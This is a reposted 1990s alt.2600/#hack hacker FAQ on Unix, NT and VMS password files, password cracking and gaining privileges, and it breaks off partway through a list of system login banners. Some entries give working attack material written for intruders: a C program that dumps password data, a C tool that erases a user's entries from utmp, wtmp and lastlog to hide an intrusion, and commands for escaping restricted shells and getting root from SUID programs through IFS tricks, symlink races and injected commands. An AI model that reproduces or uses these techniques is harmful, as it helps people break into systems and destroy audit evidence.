[Note: I just post this stuff. I didn't write it. Please DO NOT reply to this post quoting its entirety! Downloading costs many people real money. H.] -- [Further: There are other regularly posted files which you might care to read. Namely: "The alt.2600 Survival Guide" (for new posters), "How To Hack - Info for Newbies" and Visigoth's "Newbies: Links to Hacking (and other) Information .." (both of which contain information that may also be valuable to more experienced people), "Read this for CRACKS, WARES & XXX PASSWORDS" expands on the information regarding cracks and software in VisiGoth's text. "Free News Servers" and VisiGoth's "HowTo: Makeshift Linux Network @ Home .." also contain information that may be of interest. I attempt to post all of these texts about twice per week. IMPORTANT NOTE: The "Survival Guide" is a supplement to this FAQ and should be considered to be part of it. Violations of the etiquette outlined therein are severely frowned upon by the alt.2600 regulars. H.] Welcome to Version .014 of the alt.2600/#hack FAQ! The purpose of this FAQ is to give you a general introduction to the topics covered in alt.2600 and #hack. No document will make you a hacker. If you have a question regarding any of the topics covered in the FAQ, please direct it to alt.2600. Please do not e-mail me your questions; I do not have time to respond to each request personally. If your copy of the alt.2600/#hack FAQ does not end with the letters EOT on a line by themselves, you do not have the entire FAQ. If you do not have the entire FAQ, retrieve it from one of these sites: Get it on FTP at: rtfm.mit.edu /pub/usenet-by-group/alt.2600 mirrors.aol.com /pub/rtfm/usenet-by-group/alt.2600/ Get it on the World Wide Web at: http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.tar.gz http://www.attrition.org/~voyager/faq.html http://inflow.corky.net/hack =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= The alt.2600/#Hack F.A.Q. Revision .014 A TNO Communications Production by Voyager voyager@attrition.org Greets go out to: TNO, L.O.D., The Guild, r00t, L0pht Heavy Industries, TACD, PLA. Cavalier, Disorder, Major, ThePublic, A-Flat, Aleph1, Alhambra, Bogus Technician, Frosty, Glen Roberts, Harlequin, Hobbit, Kgee, Lizzie Borden, Loq, Mad Poo Bandit, Marauder, Mudge, Mustard, Outsider, Pill, Plexor, Presence, Rage, Rogue Agent, Route, Simple Nomad, Theora, Tomes, Vidiot, Wozz and all of the other happy zanies out there on the 'net. When I picture a perfect reader, I always picture a monster of courage and curiosity, also something supple, cunning, cautious, a born adventurer and discoverer... -- Friedrich Nietzsche =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Section A: Computers U A-01. How do I access the password file under Unix? U A-02. How do I crack Unix passwords? A-03. What is password shadowing? U A-04. Where can I find the password file if it's shadowed? A-05. What is NIS/yp? U A-06. What are those weird characters after the comma in my passwd file? N A-07. How do I access the password file under Windows NT? N A-08. How do I crack Windows NT passwords? U A-09. How do I access the password file under VMS? A-10. How do I crack VMS passwords? A-11. What can be logged on a VMS system? A-12. What privileges are available on a VMS system? U A-13. How do I break out of a restrictive shell? A-14. How do I gain root from a suid script or program? A-15. How do I erase my presence from the system logs? A-16. How do I change to directories with strange characters in them? A-17. What is this system? U A-18. What are the default accounts for XXX ? A-19. What is a trojan/worm/virus/logic bomb? A-20. How can I protect myself from viruses and such? A-21. Where can I get more information about viruses? A-22. What is Cryptoxxxxxxx? A-23. What is PGP? A-24. What is Tempest? U A-25. How do I defeat copy protection? N A-26. What are some available debuggers and disassemblers? U A-27. How do I defeat a BIOS password? A-28. What is the password for ? U A-29. Is there any hope of a decompiler that would convert an executable program into C/C++ code? A-30. How does the MS-Windows password encryption work? Section B: Data Networks U B-01. How do I send fakemail? B-02. How do I fake posts and control messages to Usenet? B-03. How do I hack ChanOp on IRC? B-04. How do I modify the IRC client to hide my real username? U B-05. What is sniffing? B-06. What is an Internet Outdial? U B-07. What are some Internet Outdials? B-08. What port is XXX on? B-09. What is an anonymous remailer? U B-10. What are the addresses of some anonymous remailers? B-11. What is 127.0.0.1? B-12. How do I post to a moderated newsgroup? B-13. How do I post to Usenet via e-mail? N B-14. What is a firewall? N B-15. How do I attack a remote network across the Internet? N B-16. What is a TCP sequence prediction attack? Section C: Telephony U C-01. What is a Red Box? U C-02. How do I build a Red Box? C-03. Where can I get a 6.5536Mhz crystal? C-04. Which payphones will a Red Box work on? U C-05. How do I make local calls with a Red Box? C-06. What is a Blue Box? C-07. Do Blue Boxes still work? C-08. What is a Black Box? C-09. What do all the colored boxes do? U C-10. What is an ANAC number? U C-11. What is the ANAC number for my area? U C-12. What is a ringback number? U C-13. What is the ringback number for my area? C-14. What is a loop? U C-15. What is a loop in my area? U C-16. What is a CNA number? U C-17. What is the telephone company CNA number for my area? U C-18. What are some numbers that always ring busy? U C-19. What are some numbers that temporarily disconnect phone service? C-20. What is a Proctor Test Set? C-21. What is a Proctor Test Set in my area? U C-22. What is scanning? C-23. Is scanning illegal? N C-24. How can I make a lineman's handset? C-25. Where can I purchase a lineman's handset? U C-26. What are the DTMF frequencies? U C-27. What are the frequencies of the telephone tones? N C-28. What is the voltage used to ring a telephone? U C-29. What are all of the * (LASS) codes? C-30. What frequencies do cordless phones operate on? C-31. What is Caller-ID? C-32. How do I block Caller-ID? N C-33. How do I defeat Caller-ID blocking? U C-34. What is a PBX? C-35. What is a VMB? C-36. What are the ABCD tones for? C-37. What are the International Direct Numbers? N C-38. What are some telephone switches? Section D: Cellular Telephony D-01. What is a MTSO? D-02. What is a NAM? D-03. What is an ESN? D-04. What is a MIN? D-05. What is a SCN? U D-06. What is a SIDH? D-07. What are the forward/reverse channels? Section E: Resources U E-01. What are some ftp sites of interest to hackers? E-02. What are some fsp sites of interest to hackers? U E-03. What are some newsgroups of interest to hackers? E-04. What are some telnet sites of interest to hackers? E-05. What are some gopher sites of interest to hackers? U E-06. What are some World wide Web (WWW) sites of interest to hackers? E-07. What are some IRC channels of interest to hackers? E-08. What are some BBS's of interest to hackers? U E-09. What are some books of interest to hackers? U E-10. What are some videos of interest to hackers? U E-11. What are some mailing lists of interest to hackers? E-12. What are some print magazines of interest to hackers? E-13. What are some e-zines of interest to hackers? E-14. What are some organizations of interest to hackers? E-15. What are some radio programs of interest to hackers? U E-16. What are other FAQ's of interest to hackers? N E-17. What are some conferences of interest to hackers? N E-18. What are some telephone numbers of interest to hackers? U E-19. Where can I purchase a magnetic stripe reader/writer? U E-20. What are the rainbow books and how can I get them? Section F: 2600 F-01. What is alt.2600? [ F-01a. Where is the alt.2600 Web site? H.] F-02. What does "2600" mean? F-03. Are there on-line versions of 2600 available? F-04. I can't find 2600 at any bookstores. What can I do? U F-05. Why does 2600 cost more to subscribe to than to buy at a newsstand? Section G: Miscellaneous G-01. What does XXX stand for? U G-02. How do I determine if I have a valid credit card number? U G-03. What is the layout of data on magnetic stripe cards? N G-04. What is pirate radio? G-05. What are the ethics of hacking? N G-06. Why did you write this FAQ? G-07. Where can I get a copy of the alt.2600/#hack FAQ? U == Updated since the last release of the alt.2600/#hack FAQ N == New since the last release of the alt.2600/#hack FAQ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-= Section A -- Computers =-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= A-01. How do I access the password file under Unix? In standard Unix the password file is /etc/passwd. On a Unix system with either NIS/yp or password shadowing, much of the password data may be elsewhere. An entry in the password file consists of seven colon delimited fields: Username Encrypted password (And optional password aging data) User number Group Number GECOS Information Home directory Shell ] ] Sample entry from /etc/passwd: ] ] voyager:5fg63fhD3d5gh:9406:12:The Voyager:/home/voyager:/bin/bash ] Broken down, this passwd file line shows: Username: voyager Encrypted password: 5fg63fhD3d5gh User number: 9406 Group Number: 12 GECOS Information: The Voyager Home directory: /home/voyager Shell: /bin/bash --------------------------------------------------------------------------- A-02. How do I crack Unix passwords? Contrary to popular belief, Unix passwords cannot be decrypted. Unix passwords are encrypted with a one way function. The login program accepts the text you enter at the "Password:" prompt and then runs it through a cryptographic algorithm. The results of that algorithm are then compared against the encrypted form of your password stored in the passwd file. On a more technical level, the password that you enter is used as a key to encrypt a 64-bit block of NULLs. The first seven bits of each character are extracted to form a 56-bit key. This means that only eight characters are significant in a standard Unix password. The E- table is then modified using the salt, which is a 12-bit value, coerced into the first two chars of the stored passwd. The salt's purpose is to make precompiled passwordd lists and DES hardware chips more time consuming to use. DES is then invoked for 25 iterations. The 64-bit output block and is then coerced into a 64-character alphabet (A-Z,a- z,".","/"). This involves translations in which several different values are represented by the same character, which is why Unix passwords cannot be decrypted. [Note from Dan Mellem: Under A-02, the FAQ lists the "64-character alphabet" as "(A-Z,a-z,'.','/')"; the password also uses 0-9 (actual order is "./0-9A-Za-z", I believe). H.] Password cracking software uses wordlists. Each word in the wordlist is encrypted using the algorithm described above and the salts from the password file. The results are then compared to the encrypted form of the target password. The best cracking program for Unix passwords is currently Crack by Alec Muffett. For PC-DOS, the best package to use is currently CrackerJack. For the Macintosh, try Killer Cracker or Mac Krack. --------------------------------------------------------------------------- A-03. What is password shadowing? Password shadowing is a security system where the encrypted password field of /etc/passwd is replaced with a special token and the encrypted password is stored in a separate file which is not readable by normal system users. On older systems, password shadowing was often defeated by using a program that made successive calls to getpwent() to obtain the entire password file. Example: #include main() { struct passwd *p; while(p=getpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); } --------------------------------------------------------------------------- A-04. Where can I find the password file if it's shadowed? Unix Path Token -------------------------------------------------------------------- AIX 3 and AIX 4 /etc/security/passwd ! or /tcb/auth/files// A/UX 3.0s /tcb/files/auth/?/* BSD4.3-Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] * SCO Unix 3.2.x /tcb/auth/files// SunOS4.1+c2 /etc/security/passwd.adjunct ##username SunOS 5.0 / Solaris 2.x /etc/shadow System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb * [Note from jaxom: Digital UNIX v4.0x (was OSF/1, now called Tru64 UNIX) can run in C2 (ENHANCED) security mode. When this occurs, the shadow password file is in: /tcb/auth/files// /var/tcb/files/auth.db These files contain an encrypted for of the password, normally using the bigcrypt() algorithm. If you want to crack these, then its probably easier to write a program looping over getprpwent() and extracting the password (prpwd->ufld.fd_encrypt), the crypt algorithm (prpwd-> ufld.fd_oldcrypt) and then use that algorithm to generate the appropriate passwords. Check a discussion on BUGTRAQ many, many moons ago about the appropriateness of this hashing algorithm and the potential weakness this has. H.] --------------------------------------------------------------------------- A-05. What is NIS/yp? NIS (Network Information System) in the current name for what was once known as yp (Yellow Pages). The purpose of NIS is to allow many machines on a network to share configuration information, including password data. NIS is not designed to promote system security. If your system uses NIS you will have a very short /etc/passwd file that includes a line that looks like this: +::0:0::: To view the real password file use this command "ypcat passwd" --------------------------------------------------------------------------- A-06. What are those weird characters after the comma in my passwd file? The characters are password aging data. Password aging forces the user to change passwords after a system administrator-specified period of time. Password aging can also force a user to keep a password for a certain number of weeks before changing it. ] ] Sample entry from /etc/passwd with password aging installed: ] ] voyager:5fg63fhD3d,M.z8:9406:12:The Voyager:/home/voyager:/bin/bash ] Note the comma in the encrypted password field. The characters after the comma are used by the password aging mechanism. ] ] Password aging characters from above example: ] ] M.z8 ] The four characters are interpreted as follows: 1: Maximum number of weeks a password can be used without changing. 2: Minimum number of weeks a password must be used before changing. 3&4: Last time password was changed, in number of weeks since 1970. Three special cases should be noted: If the first and second characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. The passwd program will then remove the passwd aging characters, and the user will not be subjected to password aging requirements again. If the third and fourth characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. Password aging will then occur as defined by the first and second characters. If the first character (MAX) is less than the second character (MIN), the user is not allowed to change his/her password. Only root can change that users password. It should also be noted that the su command does not check the password aging data. An account with an expired password can be su'd to without being forced to change the password. Password Aging Codes +------------------------------------------------------------------------+ | | | Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H | | Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | | | | Character: I J K L M N O P Q R S T U V W X Y Z a b | | Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | | | | Character: c d e f g h i j k l m n o p q r s t u v | | Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | | | | Character: w x y z | | Number: 60 61 62 63 | | | +------------------------------------------------------------------------+ --------------------------------------------------------------------------- A-07. How do I access the password file under Windows NT? Windows NT stores encrypted password hashes in the Registry. RDISK stores a compressed backup copy of the the password hashes is stored in %SystemRoot%\repair\sam._. If you can access the Registry you can use PWDump by Jeremy Allison to view this data. The PWDump utility is freely available at http://www.l0pht.com. PWDump output consists of seven colon delimited fields: Username User number Encrypted password LAN Man Password Hash Windows NT Password Hash Full Name and Description Home directory ] ] Sample passwd entry: (Split into two lines for readability) ] ] voyager:1000:30FA7B24C6108C5A8B4BCCA42D5816FF: ] B3823C82B43238D31BAF98FA4035255F:The Voyager, FAQ Author:: ] Broken down, this password entry shows: Username: voyager User number: 1000 Encrypted password: 5fg63fhD3d5gh LAN Man Password Hash: 30FA7B24C6108C5A8B4BCCA42D5816FF Windows NT Password Hash: B3823C82B43238D31BAF98FA4035255F Full Name and Description: The Voyager, FAQ Author Home directory : --------------------------------------------------------------------------- A-08. How do I crack Windows NT passwords? Windows NT passwords are encrypted with a one way function. This is similar to the way that Unix stores passwords, except that the Microsoft algorithm is significantly weaker. Windows NT password can be cracked using wordlists. This is much the same as attacking Unix passwords with word lists, except that Microsoft passwords are much easier to crack. In addition, Microsoft passwords can be brute forced. This means that every password on the system can be retrieved. The best cracking program for Windows NT passwords is currently L0phtCrack by Mudge and Weld Pond. L0phtCrack is available at http://www.l0pht.com. --------------------------------------------------------------------------- A-09. How do I access the password file under VMS? Under VMS, the password file is normally stored as SYS$SYSTEM:SYSUAF.DAT. However, unlike traditional Unixen, most users do not have access to read the password file. [Note from Dan Mellem: the system file is SYSUAF.DAT. Some administrators will move SYS$SYSTEM:SYSAUF.DAT, in an attempt to increase security through obscurity. In this case, `DIR SYSAUF` or `SHOW LOG SYSAUF` should point you to the new location of the file. H.] --------------------------------------------------------------------------- A-10. How do I crack VMS passwords? Write a program that uses the SYS$GETUAF functions to compare the results of encrypted words against the encrypted data in SYSUAF.DAT. Two such programs are known to exist, CHECK_PASSWORD and GUESS_PASSWORD. [Note from jaxom: These two can be looked at together. If you are accessing the UAF through $GETUAI (NOT $GETUAF!), depending on what privileges you hold determines what access you get: o To change ANY entry in the UAF, you need SYSPRV or BYPASS. o To modify entries in the UAF for those people in your group, you need GRPPRV. o If you do not have these privileges, no access is allowed. To check an OpenVMS password, you need to extract the password and the password salt from the UAF using $GETUAI and then create a hash based on that salt using $HASH_PASSWORD. Compare that hash with the one from the UAF to determine if the password is the same. There is a system dictionary that can be used to get words instead of supplying your own. This is stored in: SYS$LIBRARY:VMS$PASSWORD_DICTIONARY.DATA It's an indexed file, so you may have to read it in through RMS. H.] --------------------------------------------------------------------------- A-11. What can be logged on a VMS system? Virtually every aspect of the VMS system can be logged for investigation. To determine the status of the accounting on your system use the command SHOW ACCOUNTING. System accounting is a facility for recording information about the use of the machine from a system accounting perspective (resource logging such as CPU time, printer usage, etc.), while system auditing is done with the aim of logging information for the purpose of security. To enable accounting: $ SET ACCOUNTING [/ENABLE=(Activity...)] This enables accounting logging information to the accounting log file SYS$MANAGER:ACCOUNTING.DAT. This also is used to close the current log file and open a new one with a higher version number. The following activities can be logged: BATCH Termination of a batch job DETACHED Termination of a detached job IMAGE Image execution INTERACTIVE Interactive job termination LOGIN_FAILURE Login failures MESSAGE Users' messages NETWORK Network job termination PRINT Print Jobs PROCESS Any terminated process SUBPROCESS Termination of a subprocess To enable security auditing use: $ SET AUDIT [/ENABLE=(Activity...)] The /ALARM qualifier is used to raise an alarm to all terminals approved as security operators, which means that you need the SECURITY privileges. You can determine your security auditing configuration using $ SHOW AUDIT /ALL The security auditor can be configured to log the following activities: ACL Access Control List requested events AUTHORIZATION Modification to the system user authorization file SYS$SYSTEM:SYSUAF.DAT BREAKIN Attempted Break-ins FILE_ACCESS File or global section access INSTALL Occurrence of any INSTALL operations LOGFAILURE Any login failures LOGIN A login attempt from various sources LOGOUT Logouts MOUNT Mount or dismount requests [Note from jaxom: You also need to be aware of OpenVMS Auditing. This can log every single thing that you do. If the systems manager has this switched on, all objects that you touch will be logged by the system. H.] --------------------------------------------------------------------------- A-12. What privileges are available on a VMS system? ACNT Allows you to restrain accounting messages ALLSPOOL Allows you to allocate spooled devices ALTPRI Allot Priority. This allows you to set any priority value BUGCHK Allows you make bug check error log entries BYPASS Enables you to disregard protections CMEXEC/ CMKRNL Change to executive or kernel mode. These privileges allow a process to execute optional routines with KERNEL and EXECUTIVE access modes. CMKRNL is the most powerful privilege on VMS as anything protected can be accessed if you have this privilege. You must have these privileges to gain access to the kernel data structures directly. DETACH This privilege allow you to create detached processes of arbitrary UICs [Note from jaxom: This privlege has been changed to IMPERSONATE as of OpenVMS v7.0. H.] DIAGNOSE With this privilege you can diagnose devices EXQUOTA Allows you to exceed your disk quota GROUP This privilege grants you permission to affect other processes in the same rank GRPNAM Allows you to insert group logical names into the group logical names table. GRPPRV Enables you to access system group objects through system protection field LOG_IO Allows you to issue logical input/output requests MOUNT May execute the mount function NETMBX Allows you to create network connections OPER Allows you to perform operator functions PFNMAP Allows you to map to specific physical pages PHY_IO Allows you to perform physical input output requests PRMCEB Can create permanent common event clusters PRMGBL Allows you to create permanent global sections PRMMBX Allows you to create permanent mailboxes PSWAPM Allows you to change a processes swap mode READALL Allows you read access to everything SECURITY Enables you to perform security-related functions SETPRV Enable all privileges SHARE Allows you to access devices allocated to other users. This is used to assign system mailboxes. SHMEM Enables you to modify objects in shared memory SYSGBL Allows you to create system wide permanent global sections SYSLCK Allows you to lock system wide resources SYSNAM Allows you to insert in system logical names in the names table. SYSPRV If a process holds this privilege then it is the same as a process holding the system user identification code. TMPMBX Allows you to create temporary mailboxes VOLPRO Enables you to override volume protection WORLD When this is set you can affect other processes in the world [Note from Dan Mellem: ALTPRI is Alter Priority SETPRV lets you set any privilege. The FAQ's missing: AUDIT may direct audit to system security audit log DOWNGRADE may downgrade object secrecy IMPORT may set classification for unlabeled object UPGRADE may upgrade object integrity These are all found in the high-security versions of VMS. [Note from jaxom: This is potentially confusing. Only DOWNGRADE, IMPORT and UPGRADE are used on SEVMS (Security Enhanced OpenVMS -- rated B2). AUDIT is a valid permission on "standard" OpenVMS that allows the holder to audit events and append records to the system audit file. This has two parts, the audit server database, and the audit log file. These can both be found in SYS$COMMON:[SYSMGR]. The audit server database is called SYS$COMMON:[SYSMGR]VMS$AUDIT_SERVER.DAT and the audit log file is SYS$COMMON:[SYSMGR]SECURITY.AUDIT$JOURNAL. H.] Also, these privs are set under sys$system:authorize (be sure to set def to sys$system first). [Note from jaxom: This is not necessary if the logical SYSUAF is defined. To make sure it is defined correctly, check the value of SYSUAF: $ SHOW LOGICAL SYSUAF "SYSUAF" = "SYS$COMMON:[SYSEXE]SYSUAF" (LNM$SYSTEM_TABLE) Notice that its defined in LNM$SYSTEM_TABLE. You will need SYSPRV to change this value. If you want to change this definition, you will have to type: $ DEFINE /SYSTEM /EXECUTIVE SYSUAF DISK$DISK1:[DIR]SYSUAF.DAT The /EXECUTIVE is important. This makes it into a trusted logical name which is used by the OpenVMS operating system. If this isn't set as /EXECUTIVE, then OpenVMS will NOT use the new definition. If the logical name SYSUAF does not exist, then AUTHORIZE looks in the current default directory for the file. If the file does not exist, it then asks you whether or not you wish to create it. H.] Under authorize you can also set /priv and /defpr to ALL for everything or NONE for no privs. You can cancel any particular priv. by adding "no" in front of the priv (e.g. $ authorize joeblow/defpriv=nobypass). [Note from jaxom: There is a difference between /DEFPRIVILEGE and /PRIVILEGE. If a users privileges are set /DEFPRIVILEGE, those are the privileges that you have when you log in. The privileges defined through /PRIVILEGE are those marked as "authorised" in the $ SHOW PROCESS /PRIVILEGE display. Note that granting a privilege in "authorised" is NOT the same as granting a "default" privilege. You will have to use $ SET PROCESS /PRIVILEGE=foo, or replace foo with ALL. For more information on OpenVMS, look at the online OpenVMS documentation set at: http://www.openvms.digital.com:8080/ The most important documents are the OpenVMS Users Guide, the OpenVMS Guide to System Security and the Systems Managers manuals (there are two). Read the User Guide to get the basic OpenVMS concepts and then go onto the other two to find out how OpenVMS and VMSclusters work. Since Digital (now Compaq) has started the OpenVMS Hobbyist program, you can get a free copy of OpenVMS as long as you have a supported VAX or Alpha CPU and you are a member of DECUS. Check out: http://www.montagar.com/ for more details. To get a good sense of OpenVMS, check out the following: Newsgroups: comp.os.vms OpenVMS newsgroup comp.sys.dec DEC (VAX and Alpha) hardware vmsnet.* Everything to do with OpenVMS Websites: http://www.openvms.digital.com DEC's OpenVMS website http://www.levitte.com/~ava Arne Vajhoej's collection of OpenVMS resources.] H.] To determine what privileges your process is running with issue the command: $ show proc/priv --------------------------------------------------------------------------- A-13. How do I break out of a restrictive shell? A restrictive shell is a shell that has been modified to allow you to do fewer things than a normal shell would allow you to do. It may allow you to run only certain programs. It may stop you from changing directories. Many sites run their own restrictive shells to allow limited use of their systems over the Internet. Restrictive shells often make use of the restricted shell (rsh). On poorly implemented restricted shells you can break out of the restricted environment by running a program that features a shell function. A good example is vi. Run vi and use this command: :set shell=/bin/sh then shell using this command: :shell Many menu based restricted shells will allow you to configure your user environment, or to run programs that allow you to configure your user environment. Look for configuration options that refer to executable programs. If the program lets you define an editor, for example, try to set your editor to "/bin/csh -i -f" If you are not allowed to read files, try to open them inside the e- mail program. If you are not allowed to edit files, try to save that to file from the e-mail program. If your restricted shell prevents you from using the "cd" command, try to FTP into your account and change directories. FTP can aso be used to edit files by getting the file, editing it offline, and utting the net file back online. Like most hacking, trying things is often the most successful strategy. --------------------------------------------------------------------------- A-14. How do I gain root from a SUID script or program? 1. Change IFS. If the program calls any other programs using the system() function call, you may be able to fool it by changing IFS. IFS is the Internal Field Separator that the shell uses to delimit arguments. If the program contains a line that looks like this: system("/bin/date") and you change IFS to '/' the shell will them interpret the proceeding line as: bin date Now, if you have a program of your own in the path called "bin" the suid program will run your program instead of /bin/date. To change IFS, use this command: IFS='/';export IFS # Bourne Shell setenv IFS '/' # C Shell export IFS='/' # Korn Shell 2. link the script to -i Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts. Example: % ln suid.sh -i % -i # 3. Exploit a race condition Replace a symbolic link to the program with another program while the kernel is loading /bin/sh. Example: nice -19 suidprog ; ln -s evilprog suidroot 4. Send bad input to the program. Invoke the name of the program and a separate command on the same command line. Example: suidprog ; id --------------------------------------------------------------------------- A-15. How do I erase my presence from the system logs? Edit utmp (usually /etc/utmp), wtmp (usually /usr/adm/wtmp), and lastlog (usually /usr/adm/lastlog) These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose. Example: #include #include #include #include #include #include #include #include #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } --------------------------------------------------------------------------- A-16. How do I change to directories with strange characters in them? These directories are often used by people trying to hide information, most often warez (commercial software). There are several things you can do to determine what these strange characters are. One is to use the arguments to the ls command that cause ls to give you more information: From the man page for ls: -F Causes directories to be marked with a trailing ``/'', executable files to be marked with a trailing ``*'', and symbolic links to be marked with a trailing ``@'' symbol. -q Forces printing of non-graphic characters in filenames as the character ``?''. -b Forces printing of non-graphic characters in the \ddd notation, in octal. Perhaps the most useful tool is to simply do an "ls -al filename" to save the directory of the remote ftp site as a file on your local machine. Then you can do a "cat -t -v -e filename" to see exactly what those bizarre little characters are. From the man page for cat: -v Causes non-printing characters (with the exception of tabs, newlines, and form feeds) to be displayed. Control characters are displayed as ^X (x), where X is the key pressed with the key (for example, m is displayed as ^M). The character (octal 0177) is printed as ^?. Non-ASCII characters (with the high bit set) are printed as M -x, where x is the character specified by the seven low order bits. -t Causes tabs to be printed as ^I and form feeds as ^L. This option is ignored if the -v option is not specified. -e Causes a ``$'' character to be printed at the end of each line (prior to the new-line). This option is ignored if the -v option is not set. If the directory name includes a or a you will need to enclose the entire directory name in quotes. Example: cd ".." On an IBM-PC, you may enter these special characters by holding down the key and entering the decimal value of the special character on your numeric keypad. When you release the key, the special character should appear on your screen. An ASCII chart can be very helpful. Sometimes people will create directories with some of the standard stty control characters in them, such as ^Z (suspend) or ^C (intr). To get into those directories, you will first need to user stty to change the control character in question to another character. From the man page for stty: Control assignments control-character C Sets control-character to C, where control-character is erase, kill, intr (interrupt), quit, eof, eol, swtch (switch), start, stop or susp. start and stop are available as possible control characters for the control-character C assignment. If C is preceded by a caret (^) (escaped from the shell), then the value used is the corresponding control character (for example, ^D is a d; ^? is interpreted as DELETE and ^- is interpreted as undefined). Use the stty -a command to see your current stty settings, and to determine which one is causing you problems. --------------------------------------------------------------------------- A-17. What is this system? AIX ~~~ IBM AIX Version 3 for RISC System/6000 (C) Copyrights by IBM and by others 1982, 1990. login: [You will know an AIX system because it is the only Unix system that] [clears the screen and issues a login prompt near the bottom of the] [screen] AS/400 ~~~~~~ UserID? Password? Once in, type GO MAIN CDC Cyber ~~~~~~~~~ WELCOME TO THE NOS SOFTWARE SYSTEM. COPYRIGHT CONTROL DATA 1978, 1987. 88/02/16. 02.36.53. N265100 CSUS CYBER 170-730. NOS 2.5.2-678/3. FAMILY: You would normally just hit return at the family prompt. Next prompt is: USER NAME: CISCO Router ~~~~~~~~~~~~ FIRST BANK OF TNO 95-866 TNO VirtualBank REMOTE Router - TN043R1 Console Port SN - 00000866 TN043R1> DECserver ~~~~~~~~~ DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1 DPS502-DS700 (c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved Please type HELP if you need assistance Enter username> TNO Local> Hewlett Packard MPE-XL ~~~~~~~~~~~~~~~~~~~~~~ MPE XL: EXPECTED A :HELLO COMMAND. (CIERR 6057) MPE XL: EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424) MPE XL: GTN ~~~ WELCOME TO CITIBANK. PLEASE SIGN ON. XXXXXXXX @ PASSWORD = @ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= PLEASE ENTER YOUR ID:-1-> PLEASE ENTER YOUR PASSWORD:-2-> CITICORP (CITY NAME). KEY GHELP FOR HELP. XXX.XXX PLEASE SELECT SERVICE REQUIRED.-3-> Lantronix Terminal Server ~~~~~~~~~~~~~~~~~~~~~~~~~ Lantronix ETS16 Version V3.1/1(940623) Type HELP at the 'Local_15> ' prompt for assistance. Login password> Meridian Mail (Northern Telecom Phone/Voice Mail System) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ MMM MMMERIDIAN MMMMM MMMMM MMMMMM MMMMMM MMM MMMMM MMM MMMMM MMMMM MMM MMM MMM MMMMMM MMMMMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMMMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM Copyright (c) Northern Telecom, 1991 Novell ONLAN ~~~~~~~~~~~~ N [To access the systems it is best to own a copy of ONLAN/PC] PC-Anywhere ~~~~~~~~~~~ P [To access the systems it is best to own a copy of PCAnywhere Remote] PRIMOS ~~~~~~ PRIMENET 19.2.7F PPOA1 ER! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= CONNECT Primenet V 2.3 (system) LOGIN (you) User id? 